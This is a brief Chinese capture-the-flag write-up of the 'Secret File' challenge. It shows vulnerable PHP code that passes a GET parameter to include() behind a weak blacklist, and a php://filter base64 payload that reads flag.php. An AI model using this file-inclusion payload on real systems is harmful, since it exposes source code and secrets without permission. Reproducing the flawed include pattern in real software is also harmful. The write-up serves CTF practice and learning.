标签:尝试 base64 flag Secret File 跳转 php
打开之后的界面是
审查元素 之后有个跳转页面 直接跳转 然后
真狗 继续跳转 结果没看明白
尝试bp抓包试一下
发现 有东西
看到代码 进行分析
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
这里边有include 尝试伪协议 找到flag.php
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
最后base64解码得到flag
标签:尝试,base64,flag,Secret,File,跳转,php 来源: https://www.cnblogs.com/fanwd/p/15022291.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。